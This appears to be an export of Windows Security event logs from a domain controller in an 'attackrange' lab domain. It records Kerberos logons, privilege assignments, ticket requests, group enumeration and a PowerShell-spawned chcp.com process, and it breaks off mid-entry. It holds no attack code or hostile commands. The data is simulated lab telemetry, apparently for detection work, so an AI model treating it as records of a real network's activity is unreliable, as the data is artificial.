Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252622 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x16C64F - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252621 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x16C5EC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252620 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x16C5EC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64653 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252619 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x16C5EC - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=252618 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x788 - Process Name: C:\Windows\System32\dfsrs.exe -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=252617 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x788 - Process Name: C:\Windows\System32\dfsrs.exe -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252616 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x16C46B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252615 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x16C46B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64651 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252614 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x16C46B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252613 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x16C30D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252611 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x16C30D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64650 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252610 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x16C30D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252609 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x16C263 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252608 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x16C263 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64649 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252607 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x16C263 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252606 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x16C1D7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64648 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252605 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x16C1D7 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252604 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x16C132 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64645 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252603 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x16C132 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252602 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x16C0E0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64643 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252601 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x16C0E0 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252600 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16BD95 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252599 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16BD95 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {57681CD2-1F89-9D48-0B76-A53019935F69} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252598 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {57681CD2-1F89-9D48-0B76-A53019935F69} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252597 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {57681CD2-1F89-9D48-0B76-A53019935F69} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252596 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252595 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x168BE9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13e0 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1164 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative 